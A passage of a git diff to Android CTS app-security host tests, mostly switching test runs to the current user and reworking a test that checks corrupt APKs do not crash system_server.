@@ -117,6 +117,18 @@
             // Unmount, remount and verify
             getDevice().executeShellCommand("sm unmount " + vol.volId);
             getDevice().executeShellCommand("sm mount " + vol.volId);
+
+            int attempt = 0;
+            String pkgPath = getDevice().executeShellCommand("pm path " + PKG);
+            while ((pkgPath == null || pkgPath.isEmpty()) && attempt++ < 15) {
+                Thread.sleep(1000);
+                pkgPath = getDevice().executeShellCommand("pm path " + PKG);
+            }
+
+            if (pkgPath == null || pkgPath.isEmpty()) {
+                throw new AssertionError("Package not ready yet");
+            }
+
             runDeviceTests(PKG, CLASS, "testDataNotInternal");
             runDeviceTests(PKG, CLASS, "testDataRead");
             runDeviceTests(PKG, CLASS, "testNative");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
index 797ffcb..758e6af 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -71,8 +71,10 @@
     private void removeSecondaryUsers(ITestDevice device) throws DeviceNotAvailableException {
         final int[] userIds = Utils.getAllUsers(device);
         for (int i = 1; i < userIds.length; i++) {
-            device.removeUser(userIds[i]);
-            CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
+            if (device.getCurrentUser() != userIds[i]) {
+                device.removeUser(userIds[i]);
+                CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
+            }
         }
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 3231d0c..f8f866d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -173,14 +173,15 @@
             assertNull(String.format("failed to install app with data. Reason: %s", installResult),
                     installResult);
             // run appwithdata's tests to create private data
-            runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
+            runDeviceTestsAsCurrentUser(
+                    APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
 
             installResult = getDevice().installPackage(getTestAppFile(APP_ACCESS_DATA_APK),
                     false, options);
             assertNull(String.format("failed to install app access data. Reason: %s",
                     installResult), installResult);
             // run appaccessdata's tests which attempt to access appwithdata's private data
-            runDeviceTests(APP_ACCESS_DATA_PKG);
+            runDeviceTestsAsCurrentUser(APP_ACCESS_DATA_PKG);
         } finally {
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
             getDevice().uninstallPackage(APP_ACCESS_DATA_PKG);
@@ -204,7 +205,8 @@
             assertNull(String.format("failed to install app with data. Reason: %s", installResult),
                     installResult);
             // run appwithdata's tests to create private data
-            runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
+            runDeviceTestsAsCurrentUser(
+                    APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
 
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
 
@@ -213,7 +215,7 @@
             assertNull(String.format("failed to install app with data second time. Reason: %s",
                     installResult), installResult);
             // run appwithdata's 'check if file exists' test
-            runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS,
+            runDeviceTestsAsCurrentUser(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS,
                     APP_WITH_DATA_CHECK_NOEXIST_METHOD);
         } finally {
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
@@ -247,7 +249,7 @@
             // run INSTRUMENT_DIFF_CERT_PKG tests
             // this test will attempt to call startInstrumentation directly and verify
             // SecurityException is thrown
-            runDeviceTests(INSTRUMENT_DIFF_CERT_PKG);
+            runDeviceTestsAsCurrentUser(INSTRUMENT_DIFF_CERT_PKG);
         } finally {
             getDevice().uninstallPackage(TARGET_INSTRUMENT_PKG);
             getDevice().uninstallPackage(INSTRUMENT_DIFF_CERT_PKG);
@@ -285,7 +287,7 @@
             assertNull(String.format("failed to install permission app with diff cert. Reason: %s",
                     installResult), installResult);
             // run PERMISSION_DIFF_CERT_PKG tests which try to access the permission
-            runDeviceTests(PERMISSION_DIFF_CERT_PKG);
+            runDeviceTestsAsCurrentUser(PERMISSION_DIFF_CERT_PKG);
         } finally {
             getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
             getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
@@ -304,7 +306,14 @@
         assertTrue("Error text", output.contains("Error"));
     }
 
-    private void runDeviceTests(String packageName) throws DeviceNotAvailableException {
-        runDeviceTests(packageName, null);
+    private void runDeviceTestsAsCurrentUser(String packageName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, null, null);
+    }
+
+    private void runDeviceTestsAsCurrentUser(
+            String packageName, String className, String methodName)
+                    throws DeviceNotAvailableException {
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, className, methodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index 5e2a97b..c463d5a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -32,7 +32,6 @@
 
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
-    protected boolean mIsSplitSystemUser;
     protected int mPrimaryUserId;
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
@@ -42,22 +41,12 @@
         Assert.assertNotNull(getBuild()); // ensure build has been set before test is run.
 
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
-        mIsSplitSystemUser = checkIfSplitSystemUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
         mFixedUsers = new ArrayList<>();
         mFixedUsers.add(mPrimaryUserId);
         if (mPrimaryUserId != Utils.USER_SYSTEM) {
             mFixedUsers.add(Utils.USER_SYSTEM);
         }
-        getDevice().switchUser(mPrimaryUserId);
-    }
-
-    private boolean checkIfSplitSystemUser() throws DeviceNotAvailableException {
-        final String commandOuput = getDevice().executeShellCommand(
-                "getprop ro.fw.system_user_split");
-        return "y".equals(commandOuput) || "yes".equals(commandOuput)
-                || "1".equals(commandOuput) || "true".equals(commandOuput)
-                || "on".equals(commandOuput);
     }
 
     protected void installTestAppForUser(String apk, int userId) throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
index 6830f30..edcbd97 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -16,6 +16,7 @@
 package android.appsecurity.cts;
 
 import android.platform.test.annotations.AppModeFull;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -61,32 +62,32 @@
     @AppModeFull // TODO: Needs porting to instant
     public void testBaseClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).run();
-        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
     }
 
     @Test
     @AppModeFull // TODO: Needs porting to instant
     public void testFeatureAClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
-        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
-        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureAClassLoader");
     }
 
     @Test
     @AppModeFull // TODO: Needs porting to instant
     public void testFeatureBClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
-        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
-        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureAClassLoader");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureBClassLoader");
     }
 
     @Test
     @AppModeFull // TODO: Needs porting to instant
     public void testReceiverClassLoaders() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
-        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testAllReceivers");
     }
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
@@ -94,4 +95,10 @@
             super(getDevice(), getBuild(), null);
         }
     }
+
+    private void runDeviceTestsAsCurrentUser(
+            String packageName, String testClassName, String testMethodName)
+                    throws DeviceNotAvailableException {
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 6849d0c..8516c73 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -15,18 +15,24 @@
  */
 package android.appsecurity.cts;
 
-import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
 
 import android.platform.test.annotations.AppModeFull;
+import com.android.ddmlib.Log.LogLevel;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.InputStreamSource;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.FileUtil;
 
 import org.junit.After;
+import org.junit.Assert;
 import org.junit.Before;
 
 import java.io.File;
@@ -35,104 +41,115 @@
  * Set of tests that verify that corrupt APKs are properly rejected by PackageManager and
  * do not cause the system to crash.
  */
-@AppModeFull // TODO: Needs porting to instant
+@AppModeFull(reason = "the corrupt APKs were provided as-is and we cannot modify them to comply with instant mode")
 public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
-    private final String B71360999_PKG = "com.android.appsecurity.b71360999";
-    private final String B71361168_PKG = "com.android.appsecurity.b71361168";
-    private final String B79488511_PKG = "com.android.appsecurity.b79488511";
 
     private IBuildInfo mBuildInfo;
 
+    /** A container for information about the system_server process. */
+    private class SystemServerInformation {
+        final long mPid;
+        final long mStartTime;
+
+        SystemServerInformation(long pid, long startTime) {
+            this.mPid = pid;
+            this.mStartTime = startTime;
+        }
+
+        @Override
+        public boolean equals(Object actual) {
+            return (actual instanceof SystemServerInformation)
+                && mPid == ((SystemServerInformation) actual).mPid
+                && mStartTime == ((SystemServerInformation) actual).mStartTime;
+        }
+    }
+
+    /** Retrieves the process id and elapsed run time of system_server. */
+    private SystemServerInformation retrieveInfo() throws DeviceNotAvailableException {
+        ITestDevice device = getDevice();
+
+        // Retrieve the process id of system_server
+        String pidResult = device.executeShellCommand("pidof system_server").trim();
+        assertNotNull("Failed to retrieve pid of system_server", pidResult);
+        long pid = 0;
+        try {
+            pid = Long.parseLong(pidResult);
+        } catch (NumberFormatException | IndexOutOfBoundsException e) {
+            fail("Unable to parse pid of system_server '" + pidResult + "'");
+        }
+
+        // Retrieve the start time of system_server
+        long startTime = 0;
+        String pidStats = device.executeShellCommand("cat /proc/" + pid + "/stat");
+        assertNotNull("Failed to retrieve stat of system_server with pid '" + pid + "'", pidStats);
+        try {
+            String startTimeJiffies = pidStats.split("\\s+")[21];
+            startTime = Long.parseLong(startTimeJiffies);
+        } catch (NumberFormatException | IndexOutOfBoundsException e) {
+            fail("Unable to parse system_server stat file '" + pidStats + "'");
+        }
+
+        return new SystemServerInformation(pid, startTime);
+    }
+
     @Override
     public void setBuild(IBuildInfo buildInfo) {
         mBuildInfo = buildInfo;
     }
 
+   /** Uninstall any test APKs already present on device. */
+    private void uninstallApks() throws DeviceNotAvailableException {
+        ITestDevice device = getDevice();
+        device.uninstallPackage("com.android.appsecurity.b71360999");
+        device.uninstallPackage("com.android.appsecurity.b71361168");
+        device.uninstallPackage("com.android.appsecurity.b79488511");
+    }
+
     @Before
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        uninstall(B71360999_PKG);
-        uninstall(B71361168_PKG);
-        uninstall(B79488511_PKG);
+        uninstallApks();
     }
 
     @After
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        uninstall(B71360999_PKG);
-        uninstall(B71361168_PKG);
-        uninstall(B79488511_PKG);
-    }
-
-    /** Uninstall the apk if the test failed previously. */
-    public void uninstall(String pkg) throws Exception {
-        ITestDevice device = getDevice();
-        if (device.getInstalledPackageNames().contains(pkg)) {
-            device.uninstallPackage(pkg);
-        }
+        uninstallApks();
     }
 
     /**
-     * Tests that apks described in b/71360999 do not install successfully.
+     * Asserts that installing the application does not cause a native error causing system_server
+     * to crash (typically the result of a buffer overflow or an out-of-bounds read).
      */
-    public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
-        final String APK_PATH = "CtsCorruptApkTests_b71360999.apk";
-        assertInstallNoFatalError(APK_PATH, B71360999_PKG);
-    }
+    private void assertInstallDoesNotCrashSystem(String apk) throws Exception {
+        SystemServerInformation beforeInfo = retrieveInfo();
 
-    /**
-     * Tests that apks described in b/71361168 do not install successfully.
-     */
-    public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
-        final String APK_PATH = "CtsCorruptApkTests_b71361168.apk";
-        assertInstallNoFatalError(APK_PATH, B71361168_PKG);
-    }
-
-    /**
-     * Tests that apks described in b/79488511 do not install successfully.
-     */
-    public void testFailToInstallCorruptStringPoolHeader_b79488511() throws Exception {
-        final String APK_PATH = "CtsCorruptApkTests_b79488511.apk";
-        assertInstallNoFatalError(APK_PATH, B79488511_PKG);
-    }
-
-    /**
-     * Assert that installing the app does not cause a native error caused by a buffer overflow
-     * or an out-of-bounds read.
-     **/
-    private void assertInstallNoFatalError(String filename, String pkg) throws Exception {
-        ITestDevice device = getDevice();
-        device.clearLogcat();
-
-        final String result = device.installPackage(
-                new CompatibilityBuildHelper(mBuildInfo).getTestFile(filename),
-                true /*reinstall*/);
-
-        // Starting from P, corrupt apks should always fail to install
-        if (device.getApiLevel() >= 28) {
-            assertThat(result).isNotNull();
-            assertThat(result).isNotEmpty();
-            assertThat(device.getInstalledPackageNames()).doesNotContain(pkg);
+        final String result = getDevice().installPackage(
+                new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
+                false /*reinstall*/);
+        CLog.logAndDisplay(LogLevel.INFO, "Result: '" + result + "'");
+        if (result != null) {
+            assertFalse("Install package segmentation faulted",
+                result.toLowerCase().contains("segmentation fault"));
         }
 
-        // This catches if the device fails to install the app because a segmentation fault
-        // or out of bounds read created by the bug occurs
-        File tmpTxtFile = null;
-        InputStreamSource source = device.getLogcat(200 * 1024);
-        try {
-            assertNotNull(source);
-            tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
-            FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
-            String s = FileUtil.readStringFromFile(tmpTxtFile);
-            assertFalse(s.contains("SIGSEGV"));
-            assertFalse(s.contains("==ERROR"));
-        } finally {
-            source.close();
-            if (tmpTxtFile != null) {
-                FileUtil.deleteFile(tmpTxtFile);
-            }
-        }
+        assertEquals("system_server restarted", beforeInfo, retrieveInfo());
+    }
+
+    /** Tests that installing the APK described in b/71360999 does not crash the device. */
+    public void testSafeInstallOfCorruptAPK_b71360999() throws Exception {
+        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71360999.apk");
+    }
+
+    /** Tests that installing the APK described in b/71361168 does not crash the device. */
+    public void testSafeInstallOfCorruptAPK_b71361168() throws Exception {
+        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71361168.apk");
+    }
+
+    /** Tests that installing the APK described in b/79488511 does not crash the device. */
+    public void testSafeInstallOfCorruptAPK_b79488511() throws Exception {
+        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
     }
 }
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 2d1386f..4dc768a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -58,11 +58,9 @@
 
     private static final long SHUTDOWN_TIME_MS = 30 * 1000;
 
-    private int[] mUsers;
-
     @Before
     public void setUp() throws Exception {
-        mUsers = Utils.prepareSingleUser(getDevice());
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(getAbi());
         assertNotNull(getBuild());
 
@@ -154,12 +152,13 @@
 
             // To receive boot broadcasts, kick our other app out of stopped state
             getDevice().executeShellCommand("am start -a android.intent.action.MAIN"
+                    + " --user current"
                     + " -c android.intent.category.LAUNCHER com.android.cts.splitapp/.MyActivity");
 
             // Give enough time for PackageManager to persist stopped state
             Thread.sleep(15000);
 
-            runDeviceTests(PKG, CLASS, "testSetUp", mUsers);
+            runDeviceTestsAsCurrentUser(PKG, CLASS, "testSetUp");
 
             // Give enough time for vold to update keys
             Thread.sleep(15000);
@@ -179,16 +178,16 @@
 
             if (doTest) {
                 if (MODE_NONE.equals(mode)) {
-                    runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", mUsers);
+                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
                 } else {
-                    runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", mUsers);
+                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
                 }
             }
 
         } finally {
             try {
                 // Remove secure lock screens and tear down test app
-                runDeviceTests(PKG, CLASS, "testTearDown", mUsers);
+                runDeviceTestsAsCurrentUser(PKG, CLASS, "testTearDown");
             } finally {
                 getDevice().uninstallPackage(PKG);
 
@@ -205,12 +204,10 @@
         }
     }
 
-    private void runDeviceTests(String packageName, String testClassName, String testMethodName,
-            int... users) throws DeviceNotAvailableException {
-        for (int user : users) {
-            Log.d(TAG, "runDeviceTests " + testMethodName + " u" + user);
-            runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user, null);
-        }
+    private void runDeviceTestsAsCurrentUser(
+            String packageName, String testClassName, String testMethodName)
+                throws DeviceNotAvailableException {
+        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
     }
 
     private String getFbeMode() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
index 6e03cdf..1af0650 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java
@@ -64,7 +64,8 @@
 
     public void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName,
+                getDevice().getCurrentUser());
     }
 
     protected void reinstallClientPackage() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 53ec3d4..538bc00 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -475,12 +475,14 @@
 
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName,
+                getDevice().getCurrentUser());
     }
 
     private void runDeviceTests(String packageName, String testClassName, String testMethodName,
             Map<String, String> testArgs) throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, testArgs);
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName,
+                getDevice().getCurrentUser(), testArgs);
     }
 
     private void installApp(String apk) throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
index b6cd29d..aa7998b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
@@ -56,6 +56,7 @@
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
     private int[] mTestUser = new int[2];
+    private int mStartingUser;
 
     @Override
     public void setAbi(IAbi abi) {
@@ -83,6 +84,7 @@
             if (mPrimaryUserId != USER_SYSTEM) {
                 mFixedUsers.add(USER_SYSTEM);
             }
+            mStartingUser = getDevice().getCurrentUser();
             getDevice().switchUser(mPrimaryUserId);
 
             mTestUser[0] = users[1];
@@ -97,6 +99,7 @@
         if (mSupportsMultiUser) {
             uninstallTestPackages();
         }
+        getDevice().switchUser(mStartingUser);
         super.tearDown();
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index dc08b6c..a9ac9b0 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -17,6 +17,7 @@
 
 import android.platform.test.annotations.AppModeFull;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 
@@ -58,12 +59,12 @@
 
     public void testInstallBase() throws Exception {
         new InstallMultiple().addApk(APK_BASE).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
     }
 
     public void testInstallBaseAndConfigSplit() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_BASE_pl).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
     }
 
     public void testInstallMissingDependency() throws Exception {
@@ -72,52 +73,52 @@
 
     public void testInstallOneFeatureSplit() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
     }
 
     public void testInstallOneFeatureSplitAndConfigSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_BASE_pl)
                 .addApk(APK_FEATURE_A_pl).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
     }
 
     public void testInstallDependentFeatureSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
     }
 
     public void testInstallDependentFeatureSplitsAndConfigSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl).addApk(APK_FEATURE_B_pl).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
     }
 
     public void testInstallAllFeatureSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_FEATURE_C).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
     }
 
     public void testInstallAllFeatureSplitsAndConfigSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_FEATURE_C).addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl)
                 .addApk(APK_FEATURE_C_pl).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
     }
 
     @Override
@@ -130,4 +131,10 @@
             super(getDevice(), mBuildInfo, null);
         }
     }
+
